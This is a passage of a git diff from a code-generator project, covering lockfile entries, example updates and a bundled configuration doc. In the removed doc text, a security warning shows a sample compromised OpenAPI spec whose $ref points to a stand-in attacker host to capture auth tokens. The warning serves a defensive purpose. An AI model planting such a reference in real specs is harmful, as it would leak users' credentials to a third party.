+ "resolved": "https://registry.npmjs.org/utility-types/-/utility-types-3.11.0.tgz",
+ "integrity": "sha512-6Z7Ma2aVEWisaL6TvBCy7P8rm2LQoPv6dJ7ecIaIixHcwfbJ0x7mWdbcwlIM5IGQxPZSFYeqRCqlOOeKoJYMkw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 4"
+ }
+ },
+ "node_modules/uuid": {
+ "version": "11.1.1",
+ "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.1.1.tgz",
+ "integrity": "sha512-vIYxrBCC/N/K+Js3qSN88go7kIfNPssr/hHCesKCQNAjmgvYS2oqr69kIufEG+O4+PfezOH4EbIeHCfFov8ZgQ==",
+ "dev": true,
+ "funding": [
+ "https://github.com/sponsors/broofa",
+ "https://github.com/sponsors/ctavan"
+ ],
+ "license": "MIT",
+ "bin": {
+ "uuid": "dist/esm/bin/uuid"
+ }
+ },
+ "node_modules/v8-compile-cache-lib": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz",
+ "integrity": "sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/wcwidth": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz",
+ "integrity": "sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "defaults": "^1.0.3"
+ }
+ },
+ "node_modules/webapi-parser": {
+ "version": "0.5.0",
+ "resolved": "https://registry.npmjs.org/webapi-parser/-/webapi-parser-0.5.0.tgz",
+ "integrity": "sha512-fPt6XuMqLSvBz8exwX4QE1UT+pROLHa00EMDCdO0ybICduwQ1V4f7AWX4pNOpCp+x+0FjczEsOxtQU0d8L3QKw==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "ajv": "6.5.2"
+ }
+ },
+ "node_modules/webapi-parser/node_modules/ajv": {
+ "version": "6.5.2",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.5.2.tgz",
+ "integrity": "sha512-hOs7GfvI6tUI1LfZddH82ky6mOMyTuY0mk7kE2pWpmhhUSkumzaTO5vbVwij39MdwPQWCV4Zv57Eo06NtL/GVA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "fast-deep-equal": "^2.0.1",
+ "fast-json-stable-stringify": "^2.0.0",
+ "json-schema-traverse": "^0.4.1",
+ "uri-js": "^4.2.1"
+ }
+ },
+ "node_modules/webapi-parser/node_modules/fast-deep-equal": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz",
+ "integrity": "sha512-bCK/2Z4zLidyB4ReuIsvALH6w31YfAQDmXMqMx6FyfHqvBxtjC0eRumeSu4Bs3XtXwpyIywtSTrVT99BxY1f9w==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/webapi-parser/node_modules/json-schema-traverse": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/webidl-conversions": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz",
+ "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==",
+ "dev": true,
+ "license": "BSD-2-Clause"
+ },
+ "node_modules/whatwg-url": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz",
+ "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "tr46": "~0.0.3",
+ "webidl-conversions": "^3.0.0"
+ }
+ },
+ "node_modules/which": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+ "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+ "dev": true,
+ "license": "ISC",
+ "dependencies": {
+ "isexe": "^2.0.0"
+ },
+ "bin": {
+ "node-which": "bin/node-which"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/which-boxed-primitive": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz",
+ "integrity": "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "is-bigint": "^1.1.0",
+ "is-boolean-object": "^1.2.1",
+ "is-number-object": "^1.1.1",
+ "is-string": "^1.1.1",
+ "is-symbol": "^1.1.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/which-builtin-type": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz",
+ "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "function.prototype.name": "^1.1.6",
+ "has-tostringtag": "^1.0.2",
+ "is-async-function": "^2.0.0",
+ "is-date-object": "^1.1.0",
+ "is-finalizationregistry": "^1.1.0",
+ "is-generator-function": "^1.0.10",
+ "is-regex": "^1.2.1",
+ "is-weakref": "^1.0.2",
+ "isarray": "^2.0.5",
+ "which-boxed-primitive": "^1.1.0",
+ "which-collection": "^1.0.2",
+ "which-typed-array": "^1.1.16"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/which-collection": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz",
+ "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "is-map": "^2.0.3",
+ "is-set": "^2.0.3",
+ "is-weakmap": "^2.0.2",
+ "is-weakset": "^2.0.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/which-typed-array": {
+ "version": "1.1.22",
+ "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.22.tgz",
+ "integrity": "sha512-fvO4ExWMFsqyhG3AiPAObMuY1lxaqgYcxbc49CNdWDDECOJNgQyvsOWVwbZc+qf3rzRtxojBK+CMEv0Ld5CYpw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "available-typed-arrays": "^1.0.7",
+ "call-bind": "^1.0.9",
+ "call-bound": "^1.0.4",
+ "for-each": "^0.3.5",
+ "get-proto": "^1.0.1",
+ "gopd": "^1.2.0",
+ "has-tostringtag": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/widest-line": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-3.1.0.tgz",
+ "integrity": "sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "string-width": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/wordwrap": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz",
+ "integrity": "sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/wrap-ansi": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
+ "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "ansi-styles": "^4.0.0",
+ "string-width": "^4.1.0",
+ "strip-ansi": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
+ }
+ },
+ "node_modules/wrappy": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+ "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
+ "dev": true,
+ "license": "ISC"
+ },
+ "node_modules/xml-naming": {
+ "version": "0.3.0",
+ "resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.3.0.tgz",
+ "integrity": "sha512-ghig2TBE/H11aOVgmahA3MhimvkBr6JIYknH/Dhdk10nXwdbIqBJsbfMxpvFPG8bAw77gN29aQWvKpmVoPlvPQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/NaturalIntelligence"
+ }
+ ],
+ "license": "MIT",
+ "engines": {
+ "node": ">=16.0.0"
+ }
+ },
+ "node_modules/y18n": {
+ "version": "5.0.8",
+ "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
+ "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
+ "dev": true,
+ "license": "ISC",
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/yaml": {
+ "version": "2.9.0",
+ "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.9.0.tgz",
+ "integrity": "sha512-2AvhNX3mb8zd6Zy7INTtSpl1F15HW6Wnqj0srWlkKLcpYl/gMIMJiyuGq2KeI2YFxUPjdlB+3Lc10seMLtL4cA==",
+ "dev": true,
+ "license": "ISC",
+ "bin": {
+ "yaml": "bin.mjs"
+ },
+ "engines": {
+ "node": ">= 14.6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/eemeli"
+ }
+ },
+ "node_modules/yargs": {
+ "version": "17.7.3",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.3.tgz",
+ "integrity": "sha512-GZtjxm/J/4TSxuL3FNYjCmLktBTnIw/rVmKSIyKeYAZpmJB2ig9VauCC5xsa82GNKVKDAqpOn3KVzNt0zmrU0g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "cliui": "^8.0.1",
+ "escalade": "^3.1.1",
+ "get-caller-file": "^2.0.5",
+ "require-directory": "^2.1.1",
+ "string-width": "^4.2.3",
+ "y18n": "^5.0.5",
+ "yargs-parser": "^21.1.1"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/yargs-parser": {
+ "version": "21.1.1",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz",
+ "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==",
+ "dev": true,
+ "license": "ISC",
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/yn": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz",
+ "integrity": "sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/zod": {
+ "version": "3.25.76",
+ "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz",
+ "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==",
+ "dev": true,
+ "license": "MIT",
+ "funding": {
+ "url": "https://github.com/sponsors/colinhacks"
+ }
+ },
+ "node_modules/zod-validation-error": {
+ "version": "3.5.4",
+ "resolved": "https://registry.npmjs.org/zod-validation-error/-/zod-validation-error-3.5.4.tgz",
+ "integrity": "sha512-+hEiRIiPobgyuFlEojnqjJnhFvg4r/i3cqgcm67eehZf/WBaK3g6cD02YU9mtdVxZjv8CzCA9n/Rhrs3yAAvAw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=18.0.0"
+ },
+ "peerDependencies": {
+ "zod": "^3.24.4"
+ }
+ }
+ }
+}
diff --git a/examples/jsonschema-models/package.json b/examples/jsonschema-models/package.json
index c65913be..460bfc8b 100644
--- a/examples/jsonschema-models/package.json
+++ b/examples/jsonschema-models/package.json
@@ -4,12 +4,12 @@
"description": "Example demonstrating JSON Schema input with models generator",
"private": true,
"scripts": {
- "generate": "codegen",
+ "generate": "codegen generate",
"build": "tsc",
"start": "npm run generate && npm run build && node dist/index.js"
},
"devDependencies": {
- "@the-codegen-project/cli": "workspace:*",
+ "@the-codegen-project/cli": "^0",
"typescript": "^5.0.0"
},
"dependencies": {}
diff --git a/examples/jsonschema-models/src/models/User.ts b/examples/jsonschema-models/src/models/User.ts
index 74db0fe3..a3765155 100644
--- a/examples/jsonschema-models/src/models/User.ts
+++ b/examples/jsonschema-models/src/models/User.ts
@@ -8,8 +8,8 @@ class User {
private _isActive?: boolean;
private _roles?: RolesItem[];
private _profile?: Profile;
- private _createdAt: string;
- private _updatedAt?: string;
+ private _createdAt: Date;
+ private _updatedAt?: Date;
constructor(input: {
id: string,
@@ -19,8 +19,8 @@ class User {
isActive?: boolean,
roles?: RolesItem[],
profile?: Profile,
- createdAt: string,
- updatedAt?: string,
+ createdAt: Date,
+ updatedAt?: Date,
}) {
this._id = input.id;
this._reservedName = input.reservedName;
@@ -54,10 +54,10 @@ class User {
get profile(): Profile | undefined { return this._profile; }
set profile(profile: Profile | undefined) { this._profile = profile; }
- get createdAt(): string { return this._createdAt; }
- set createdAt(createdAt: string) { this._createdAt = createdAt; }
+ get createdAt(): Date { return this._createdAt; }
+ set createdAt(createdAt: Date) { this._createdAt = createdAt; }
- get updatedAt(): string | undefined { return this._updatedAt; }
- set updatedAt(updatedAt: string | undefined) { this._updatedAt = updatedAt; }
+ get updatedAt(): Date | undefined { return this._updatedAt; }
+ set updatedAt(updatedAt: Date | undefined) { this._updatedAt = updatedAt; }
}
export { User };
\ No newline at end of file
diff --git a/examples/openapi-http-client/src/generated/http_client.ts b/examples/openapi-http-client/src/generated/http_client.ts
index cde7f0b1..63ebf1a1 100644
--- a/examples/openapi-http-client/src/generated/http_client.ts
+++ b/examples/openapi-http-client/src/generated/http_client.ts
@@ -675,7 +675,7 @@ export interface PostV2ConnectContext extends HttpClientContext {
async function postV2Connect(context: PostV2ConnectContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'https://api.example-safepay.com',
...context,
};
@@ -787,7 +787,7 @@ export interface GetV2ConnectReferenceIdContext extends HttpClientContext {
async function getV2ConnectReferenceId(context: GetV2ConnectReferenceIdContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'https://api.example-safepay.com',
...context,
};
@@ -900,7 +900,7 @@ export interface GetV2UsersSafepayAccountIdBankAccountsContext extends HttpClien
async function getV2UsersSafepayAccountIdBankAccounts(context: GetV2UsersSafepayAccountIdBankAccountsContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'https://api.example-safepay.com',
...context,
};
diff --git a/examples/typescript-library/asyncapi.json b/examples/typescript-library/asyncapi.json
index bb371292..d1d10eb6 100644
--- a/examples/typescript-library/asyncapi.json
+++ b/examples/typescript-library/asyncapi.json
@@ -1,57 +1,56 @@
{
- "asyncapi": "3.0.0",
- "info": {
- "title": "Account Service",
- "version": "1.0.0",
- "description": "This service is in charge of processing user signups"
- },
- "channels": {
- "userSignedup": {
- "address": "user/signedup",
- "messages": {
- "UserSignedUp": {
- "$ref": "#/components/messages/UserSignedUp"
- }
- }
- }
- },
- "operations": {
- "sendUserSignedup": {
- "action": "receive",
- "channel": {
- "$ref": "#/channels/userSignedup"
- },
- "messages": [
- {
- "$ref": "#/channels/userSignedup/messages/UserSignedUp"
- }
- ]
- }
- },
- "components": {
- "messages": {
- "UserSignedUp": {
- "payload": {
- "$ref": "#/components/schemas/UserSignedUp"
- }
- }
- },
- "schemas": {
- "UserSignedUp": {
- "type": "object",
- "properties": {
- "displayName": {
- "type": "string",
- "description": "Name of the user"
- },
- "email": {
- "type": "string",
- "format": "email",
- "description": "Email of the user"
- }
- }
- }
- }
- }
+ "asyncapi": "3.0.0",
+ "info": {
+ "title": "Account Service",
+ "version": "1.0.0",
+ "description": "This service is in charge of processing user signups"
+ },
+ "channels": {
+ "userSignedup": {
+ "address": "user/signedup",
+ "messages": {
+ "UserSignedUp": {
+ "$ref": "#/components/messages/UserSignedUp"
+ }
+ }
+ }
+ },
+ "operations": {
+ "sendUserSignedup": {
+ "action": "receive",
+ "channel": {
+ "$ref": "#/channels/userSignedup"
+ },
+ "messages": [
+ {
+ "$ref": "#/channels/userSignedup/messages/UserSignedUp"
+ }
+ ]
+ }
+ },
+ "components": {
+ "messages": {
+ "UserSignedUp": {
+ "payload": {
+ "$ref": "#/components/schemas/UserSignedUp"
+ }
+ }
+ },
+ "schemas": {
+ "UserSignedUp": {
+ "type": "object",
+ "properties": {
+ "displayName": {
+ "type": "string",
+ "description": "Name of the user"
+ },
+ "email": {
+ "type": "string",
+ "format": "email",
+ "description": "Email of the user"
+ }
+ }
+ }
+ }
}
-
\ No newline at end of file
+}
diff --git a/examples/typescript-nextjs/asyncapi.json b/examples/typescript-nextjs/asyncapi.json
index bb371292..d1d10eb6 100644
--- a/examples/typescript-nextjs/asyncapi.json
+++ b/examples/typescript-nextjs/asyncapi.json
@@ -1,57 +1,56 @@
{
- "asyncapi": "3.0.0",
- "info": {
- "title": "Account Service",
- "version": "1.0.0",
- "description": "This service is in charge of processing user signups"
- },
- "channels": {
- "userSignedup": {
- "address": "user/signedup",
- "messages": {
- "UserSignedUp": {
- "$ref": "#/components/messages/UserSignedUp"
- }
- }
- }
- },
- "operations": {
- "sendUserSignedup": {
- "action": "receive",
- "channel": {
- "$ref": "#/channels/userSignedup"
- },
- "messages": [
- {
- "$ref": "#/channels/userSignedup/messages/UserSignedUp"
- }
- ]
- }
- },
- "components": {
- "messages": {
- "UserSignedUp": {
- "payload": {
- "$ref": "#/components/schemas/UserSignedUp"
- }
- }
- },
- "schemas": {
- "UserSignedUp": {
- "type": "object",
- "properties": {
- "displayName": {
- "type": "string",
- "description": "Name of the user"
- },
- "email": {
- "type": "string",
- "format": "email",
- "description": "Email of the user"
- }
- }
- }
- }
- }
+ "asyncapi": "3.0.0",
+ "info": {
+ "title": "Account Service",
+ "version": "1.0.0",
+ "description": "This service is in charge of processing user signups"
+ },
+ "channels": {
+ "userSignedup": {
+ "address": "user/signedup",
+ "messages": {
+ "UserSignedUp": {
+ "$ref": "#/components/messages/UserSignedUp"
+ }
+ }
+ }
+ },
+ "operations": {
+ "sendUserSignedup": {
+ "action": "receive",
+ "channel": {
+ "$ref": "#/channels/userSignedup"
+ },
+ "messages": [
+ {
+ "$ref": "#/channels/userSignedup/messages/UserSignedUp"
+ }
+ ]
+ }
+ },
+ "components": {
+ "messages": {
+ "UserSignedUp": {
+ "payload": {
+ "$ref": "#/components/schemas/UserSignedUp"
+ }
+ }
+ },
+ "schemas": {
+ "UserSignedUp": {
+ "type": "object",
+ "properties": {
+ "displayName": {
+ "type": "string",
+ "description": "Name of the user"
+ },
+ "email": {
+ "type": "string",
+ "format": "email",
+ "description": "Email of the user"
+ }
+ }
+ }
+ }
}
-
\ No newline at end of file
+}
diff --git a/mcp-server/lib/resources/bundled-docs.ts b/mcp-server/lib/resources/bundled-docs.ts
index fc436dd1..54fef239 100644
--- a/mcp-server/lib/resources/bundled-docs.ts
+++ b/mcp-server/lib/resources/bundled-docs.ts
@@ -28,7 +28,7 @@ export const docs: Record = {
},
"configurations": {
title: "Configurations",
- content: "# Configurations\n\nThere are 5 possible configuration file types, `json`, `yaml`, `esm` (ECMAScript modules JavaScript), `cjs` (CommonJS modules JavaScript) and `ts` (TypeScript).\n\nThe only difference between them is what they enable you to do. The difference is `callbacks`, in a few places, you might want to provide a callback to control certain behavior in the generation library.\n\nFor example, with the [`custom`](./generators/custom.md) generator, you provide a callback to render something, this is not possible if your configuration file is either `json` or `yaml` format.\n\nReason those two exist, is because adding a `.js` configuration file to a Java project, might confuse developers, and if you dont need to take advantage of the customization features that require callback, it will probably be better to use one of the other two.\n\n## Creating Configurations with the CLI\n\nThe easiest way to create a configuration file is by using the `codegen init` command. This interactive command will guide you through setting up a configuration file for your project, allowing you to specify:\n\n- Input file (AsyncAPI or OpenAPI document)\n- Configuration file type (`esm`, `json`, `yaml`, `ts`)\n- Output directory\n- Language and generation options\n\n```sh\ncodegen init --input-file ./ecommerce.yml --input-type asyncapi --config-type ts --languages typescript\n```\n\nFor detailed usage instructions and all available options, see the [CLI usage documentation](./usage.md#codegen-init).\n\n## Configuration File Lookup\n\nIf no explicit configuration file is sat, it will be looked for in the following order:\n- package.json\n- .codegenrc\n- .codegenrc.json\n- .codegenrc.yaml\n- .codegenrc.yml\n- .codegenrc.js\n- .codegenrc.ts\n- .codegenrc.cjs\n- .config/codegenrc\n- .config/codegenrc.json\n- .config/codegenrc.yaml\n- .config/codegenrc.yml\n- .config/codegenrc.js\n- .config/codegenrc.ts\n- .config/codegenrc.mjs\n- .config/codegenrc.cjs\n- codegen.config.js\n- codegen.config.ts\n- codegen.config.mjs\n- codegen.config.cjs\n- codegen.json\n- codegen.yaml\n- codegen.yml\n- codegen.js\n- codegen.ts\n- codegen.mjs\n- codegen.cjs\n\n## TypeScript Configuration\n\nWhen generating TypeScript code, you can configure global options that apply to all generators. These options can be overridden per-generator if needed.\n\n### Import Extensions (node16/nodenext/verbatimModuleSyntax)\n\nModern TypeScript projects using strict ESM settings (`moduleResolution: \"node16\"` or `\"nodenext\"`, or `verbatimModuleSyntax: true`) require explicit file extensions in import statements. Use the `importExtension` option to configure this:\n\n```javascript\n// codegen.config.mjs\nexport default {\n inputType: 'asyncapi',\n inputPath: './asyncapi.json',\n language: 'typescript',\n importExtension: '.ts', // Required for moduleResolution: \"node16\"\n\n generators: [\n { preset: 'payloads', outputPath: './src/payloads' },\n { preset: 'channels', outputPath: './src/channels', protocols: ['nats'] }\n ]\n};\n```\n\n#### Import Extension Options\n\n| Value | When to Use | tsconfig Settings |\n|-------|-------------|-------------------|\n| `\"none\"` (default) | Bundlers (webpack, vite) or classic Node.js | `moduleResolution: \"node\"` or `\"bundler\"` |\n| `\".ts\"` | Modern ESM with TypeScript sources | `moduleResolution: \"node16\"/\"nodenext\"` + `allowImportingTsExtensions: true` |\n| `\".js\"` | Compiled ESM output | `moduleResolution: \"node16\"/\"nodenext\"` (without `allowImportingTsExtensions`) |\n\n#### Automatic Detection\n\nWhen `importExtension` is not explicitly set in your configuration, the codegen automatically detects the appropriate setting based on your project setup. This enables zero-configuration support for most projects.\n\n**Detection priority:**\n\n1. **Bundler config files** (`vite.config.ts`, `webpack.config.js`, `next.config.js`, etc.) → `\"none\"`\n2. **Bundler in dependencies** (vite, webpack, esbuild, rollup, parcel) → `\"none\"`\n3. **`moduleResolution: \"bundler\"`** in tsconfig.json → `\"none\"`\n4. **`moduleResolution: \"node16\"/\"nodenext\"` + `allowImportingTsExtensions: true`** → `\".ts\"`\n5. **`moduleResolution: \"node16\"/\"nodenext\"`** (without allowImportingTsExtensions) → `\".js\"`\n6. **Otherwise** → Uses default (`\"none\"`)\n\nWhen detection occurs, you'll see an info message:\n```\nAuto-detected importExtension: '.js'\n```\n\n**Note:** You can always override automatic detection by explicitly setting `importExtension` in your configuration.\n\n**Limitation:** Automatic detection only affects `channels` and `client` generators. The `payloads`, `parameters`, `headers`, and `models` generators use Modelina which doesn't currently support import extensions.\n\n#### Per-Generator Override\n\nYou can override the global setting for individual generators:\n\n```javascript\nexport default {\n inputType: 'asyncapi',\n inputPath: './asyncapi.json',\n language: 'typescript',\n importExtension: '.ts', // Global default\n generators: [\n { preset: 'payloads', outputPath: './src/payloads' }, // Uses global .ts\n { preset: 'channels', outputPath: './src/channels', importExtension: 'none' } // Override\n ]\n};\n```\n\n## Remote URL inputs\n\n`inputPath` accepts an `http://` or `https://` URL in addition to a local\nfile path. The same configuration field is used for AsyncAPI, OpenAPI, and\nJSON Schema inputs:\n\n```javascript\nexport default {\n inputType: 'asyncapi',\n inputPath: 'https://example.com/specs/asyncapi.yaml',\n language: 'typescript',\n generators: [\n { preset: 'payloads', outputPath: './src/payloads' }\n ]\n};\n```\n\nFormat detection prefers the response `Content-Type` header\n(`application/json` → JSON, `*yaml*` → YAML), falling back to the URL\nextension and finally to JSON-then-YAML for ambiguous cases.\n\nExternal `$ref` targets (e.g. `$ref:\n'https://example.com/components.yaml#/components/schemas/Pet'`) are also\nresolved over the same code path for AsyncAPI and OpenAPI inputs.\n\n### Authenticating remote requests\n\nFor specs hosted behind authentication, configure the `auth` field. Three\nshapes are supported:\n\n```javascript\n// Bearer token\nauth: { type: 'bearer', token: process.env.API_TOKEN }\n\n// API key in a custom header\nauth: { type: 'apiKey', header: 'X-API-Key', value: process.env.API_KEY }\n\n// Arbitrary headers\nauth: {\n type: 'custom',\n headers: {\n Authorization: `Bearer ${process.env.API_TOKEN}`,\n 'X-Tenant': 'acme'\n }\n}\n```\n\nThe `auth` field is ignored when `inputPath` is a local file path.\n\n### Auth scope and security considerations\n\n**The configured authentication headers are sent to every URL the loader\nfetches**, including:\n\n- The root `inputPath` URL.\n- Every external `$ref` target the parser libraries follow during\n dereferencing — even when the `$ref` points at a different host.\n\nThis is the right default for typical internal-SSO setups where the root\nspec and its `$ref` chain share an auth boundary, but it means that **a\ncompromised spec can exfiltrate your token**:\n\n```yaml\n# Compromised spec at https://api.example.com/openapi.yaml\nopenapi: 3.0.0\npaths:\n /users:\n get:\n responses:\n '200':\n content:\n application/json:\n schema:\n $ref: 'https://attacker.example/exfil.yaml' # ← receives your token\n```\n\n### Watch mode\n\n`--watch` only observes the local filesystem. When `inputPath` is a\nremote URL, the input watcher is skipped and a warning is logged. Use\n`--watchPath` to watch a local file that triggers regeneration (which\nwill re-fetch the URL) on change.",
+ content: "# Configurations\n\nThere are 5 possible configuration file types, `json`, `yaml`, `esm` (ECMAScript modules JavaScript), `cjs` (CommonJS modules JavaScript) and `ts` (TypeScript).\n\nThe only difference between them is what they enable you to do. The difference is `callbacks`, in a few places, you might want to provide a callback to control certain behavior in the generation library.\n\nFor example, with the [`custom`](./generators/custom.md) generator, you provide a callback to render something, this is not possible if your configuration file is either `json` or `yaml` format.\n\nReason those two exist, is because adding a `.js` configuration file to a Java project, might confuse developers, and if you dont need to take advantage of the customization features that require callback, it will probably be better to use one of the other two.\n\n## Creating Configurations with the CLI\n\nThe easiest way to create a configuration file is by using the `codegen init` command. This interactive command will guide you through setting up a configuration file for your project, allowing you to specify:\n\n- Input file (AsyncAPI or OpenAPI document)\n- Configuration file type (`esm`, `json`, `yaml`, `ts`)\n- Output directory\n- Language and generation options\n\n```sh\ncodegen init --input-file ./ecommerce.yml --input-type asyncapi --config-type ts --languages typescript\n```\n\nFor detailed usage instructions and all available options, see the [CLI usage documentation](./usage.md#codegen-init).\n\n## Configuration File Lookup\n\nIf no explicit configuration file is sat, it will be looked for in the following order (earlier names take priority):\n- codegen.json\n- codegen.yaml\n- codegen.yml\n- codegen.js\n- codegen.ts\n- codegen.mjs\n- codegen.cjs\n- package.json (the `codegen` property)\n- .codegenrc\n- .codegenrc.json\n- .codegenrc.yaml\n- .codegenrc.yml\n- .codegenrc.js\n- .codegenrc.ts\n- .codegenrc.mjs\n- .codegenrc.cjs\n- 